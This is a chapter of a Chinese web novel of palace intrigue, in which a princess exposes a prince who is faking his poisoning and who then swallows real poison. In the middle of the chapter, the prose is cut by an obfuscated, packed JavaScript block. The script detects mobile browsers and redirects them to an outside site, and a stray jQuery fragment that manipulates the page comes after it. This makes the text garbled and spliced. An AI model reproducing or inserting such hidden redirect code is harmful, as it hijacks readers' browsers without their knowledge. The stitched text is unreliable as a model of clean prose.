64. 第64章
作品:《他没偷公主的爱宠》 李汝萤继续向密道出口走去。
临近密道口,已有日光投射在黝黑的墙壁上。而与之同时投射而来的,还有一提刀男子的影子。
这男子的影子正缓缓向她靠近。
李汝萤脚步霎时间滞住,一手悄然握去腰间悬着的匕首。
许是那人察觉到她的警惕,顷刻间便来到了她的面前,声音低沉。
“公主,是我。”
李汝萤虽看不清他相貌,却听出了他的声音。
她舒了口气,握着匕首的手也松懈下来。
她亦压低声音:“怎么是你?”
金至简道:“此处并非交谈之地,我先护佑公主出去。”
“好。”
李汝萤跟随金至简小心避过齐王府守卫,顺利逃出了齐王府。
两人在附近寻了家酒楼包厢。
待茶博士上过水阖门退去后,金至简才道:
“先前见公主自刑狱匆匆而出,想来公主应是为饮仙楼岳娘子一事要去寻齐王。”
他一顿,“昔日齐王对公主多加责难,我唯恐公主受他折辱便跟了上去。怎知竟见公主翻墙寻去了齐王的密道之中,为防公主有所意外,我便隐身跟在了公主身后。”
“你一直守在密道口?”
虽说密道幽深,可李汝萤却仍忧切他是否听到了齐王与皇后的对话。他是否会因此对岳回不利。
那时她一直留意着齐王与皇后的对话,根本没能注意身后是否有人若即若离地跟了上来。
她密切注意着他面上的表情。
但见他神色坦然,先是点了点头,而后又道:“公主若想救岳娘子,合该去寻圣人才是。”
李汝萤自哂:“阿耶从未信过我。”
金至简引着她走去窗侧,敛声道:“倘若公主所对圣人说的,原本就是圣人所相信的呢?”
李汝萤不禁抬头看向他,眉头微微凝蹙起来。
金至简道:“三月前太子未立,朝臣中不无提议立齐王为太子之人。且那段时日,齐王礼贤下士,便邀朔安名士。这些事,圣人应当全都看在眼中。”
他又补问一句,“然圣人却力排众议,反而立了如今的太子。公主以为,这是为何?”
李汝萤凭窗而眺,视线凝在云端的某处。
阿耶疼爱幼子不假,全并非单凭个人喜恶决断之人。
在人父之前,他首先是一位帝王。
齐王起初人前风流,却在册立太子之时一改往日面目。后来心愿落空,心中定会存怨。
人若生怨,自会寻出事端。
比起怀疑没有丝毫下毒动机的她,阿耶更该怀疑的应当是齐王。
“多谢金将军解惑。”
李汝萤眼眸一亮,心中霎时明朗起来。
她谢过金至简,即刻去了宫中求见皇帝。
含象殿内,皇帝正提笔批着折子。
李汝萤跟随内侍走入内殿,向着皇帝伏跪下去。
“儿求阿耶做主。”
皇帝笔锋未停:“所求何事?”
李汝萤挺直脊背,目光决然:“二皇兄谋害太子不成,反威逼儿宫外友人,欲令她屈打成招,将谋害太子一事加诸儿身上。”
皇帝手中御笔停在半空:“朕怎听宫中传闻,是你先后给太子与齐王下毒,全系不满于朕素日对他二人之偏爱。”
“阿耶为仁父之前,先是万民的仁君。”
李汝萤又一拜。
“先前种种,儿后来思议过。阿耶并非是对儿苛责,而是正若先贤所言,是对儿‘爱之深,责之切’。儿先前糊涂,不通阿耶的爱护之情。
“可如今儿想明白了。儿正是自恃有阿耶疼爱,才敢屡屡违拗阿耶。尽管儿放肆至此,阿耶却始终未真正训诫于儿。
“便如前日夜间,儿当众使阿耶难堪,然阿耶却也只是尽人父之责,对儿简单训诫。
“若非阿耶存心爱护,儿如今便不可能仍旧好端端地与阿耶在此相谈。
“阿耶既愿见儿,便意味着阿耶并非真生儿的气。阿耶是慈父,儿如今全都晓悟了,自然便不会心存怨怼,更不会因并不存在的怨怼而伤害儿之兄弟。”
皇帝搁下笔,抬手令她站起身来。
李汝萤起身,向皇帝身侧走近一些。
“儿方才闻听二皇兄有恙,便前去探视二皇兄。谁知二皇兄却闭门不见。”
她的眸中满是忧切,“儿实在忧心二皇兄的身体,一时心急,便偷偷翻入了二皇兄的宅院。”
皇帝道:“你接着说。”
“儿翻进王府后,怕惊扰皇兄修养,遂偷偷前去二皇兄卧房。怎知儿在那卧房外,却见二皇兄身体已然康健,竟全然不似身中奇毒之人。
“儿去前曾听闻,二皇兄所中之毒,似与太子相同。儿因此便想,原来除却儿先前辛苦寻到的解药,二皇兄手中竟也早就持有。
“若二皇兄当日能将此药早些拿与阿祐,阿祐便不会白受那般痛楚。依儿所见,二皇兄此行,便是有意视阿祐安危于不顾!”
“你是说——齐王如今已经大好了?”
皇帝屈指叩在桌上,眸色深深。
“回阿耶,正是。”
皇帝侧首唤来暗卫:“你暗中查一查,齐王的病如何了。”
“是。”
暗卫领命而去。
皇帝旋即又唤来元善:“齐王我儿,身中奇毒,朕心痛如绞。你去,将我儿接入宫来,便住在朕之侧殿,请宫中为太子诊治过的医官尽数为我儿医治。”
元善弓腰道:“陛下,齐王染病,若病气就此过在您身上致使龙体有恙便不好了。不妨奴婢另寻一僻静的殿阁送齐王殿下居住?”
皇帝道:“朕自有真龙之气护体,自会无恙。且龙气滋养下,我儿兴许好转更快,你且速去便是。”
元善不再多言,领命退去。
不多时,元善便带人来到齐王府中,宣旨来接齐王入宫医治。
齐王卧房内,有侍卫赶在元善带人来之前,特向齐王来禀:
“殿下,圣人突然着人请您入宫医治。林司医先前不是来过了?圣人合该按照先前荆山公主医治太子的药方为您赐药才是,如何又要接您入宫?”
齐王自床榻坐起:“将那毒拿来。”
侍卫领命,然他才将藏药的匣子从暗孔中取出,动作便迟钝下来。
“殿下,您莫非是想真将此毒吞入腹中?”
齐王道:“如今只能如此。”
侍卫道:“殿下,若您当真吞下此毒,那便是九死一生啊!当初那巫医说了,此毒乃是无药可医啊!殿下天潢贵胄,怎可以身犯险!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489358|161095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“无药可解?”齐王哼笑一声,“太子身上的毒最终不也是好端端解了么?废话少说,你且取来!”
“可此毒毒性刁钻,很可能会对您的身体造成不可逆转的伤害,倘若稍有差池……属下实在不敢!”
“愚蠢!倘若真入了宫去,所有医官皆来为本王请脉,你可有把握他们都能守口如瓶?届时栽赃她不成,阿耶便要疑心到本王头上了!
“再者,就算九死一生,本王亦相信,天命在吾!”
齐王说着,顾自掀被下榻,一把夺过侍卫手中的匣子,从中取出一只药瓶,将瓶中药水一饮而下。
药水发作极快,顷刻间,齐王便身如枯朽般在地上栽倒下去。
双目迷离之际,他紧紧抓住护卫的手:“告诉阿娘!莫为……本王担心!”
此言说罢,齐王便体力难支,沉沉地昏厥过去。
侍卫连忙为齐王除去鞋靴,将他扶到床榻之上。
-
元善将齐王接入含象殿侧殿后,齐王躺在榻上浑身战栗却又不省人事,俨然便如李祐中毒时的征象一般无二。
李汝萤跟在皇帝身侧进了殿,凝神打量着榻上的齐王。
齐王面色苍白得吓人。
若非早知齐王是装的,李汝萤倒真要相信齐王如今果真身中剧毒。
但,齐王肢端那不自主的震颤,却又不像是只靠装便能装得出来的。
他莫非吃了什么其他可以作伪的毒药?
齐王床榻前,医官们伏跪着,一一为齐王诊脉。
然在众医官为之把脉后,每位医官的神色却都变得怖惧起来。
为首的医官额上汗珠滚落,惶恐不安:“禀陛下,齐王殿下身中剧毒,所中之毒与当日太子所中之毒甚为相肖,似乎便是同一种毒。”
皇帝的眸光扫去一旁其余医官身上。
医官各个颔首认同此言。
“禀陛下,的确如此!”
皇帝的视线在他们脸上来回打量,似要从中察觉出某些非比寻常的表现。
宫中所有医官都已在此,齐王当真能收买他们所有?
皇帝的视线最后落在李汝萤的脸上。
那目光中既有探究,亦有些骇人的愠怒。
“陛下,齐王殿下的毒眼看便要入进肺腑,当尽早为殿下解毒!”
医官向李汝萤的方向移跪,“请公主告诉我等,那臼藤草之所在。”
此时,有暗卫悄然近于皇帝身侧,在皇帝耳侧耳语了几声。
皇帝深吸一口气,双瞳中竟是震慑。
他看向榻上的齐王,轻嗤:“他倒是心狠。”
几位医官并不能解其意,齐齐再道:“还请陛下速速派人寻得那臼藤草。”
皇帝却道:“你们全都退下,荆山留下。”
包括医官在内的殿中众人虽不解,却只得纷纷照做。
待殿门紧紧扣闭,皇帝侧首对李汝萤道:“齐王的确中了毒。不过你先前所言,却也并非全然虚假。”
许是顾忌着齐王尚在,皇帝并未将话说得明明白白,叫李汝萤心中不甚明朗。
她说的哪些是虚假的?
皇帝走去榻前,对齐王垂首。
“李栩,你倒是一手好算计。你既算计了朕,亦算计了祐儿。既如此,也不必朕来寻人替你医治!”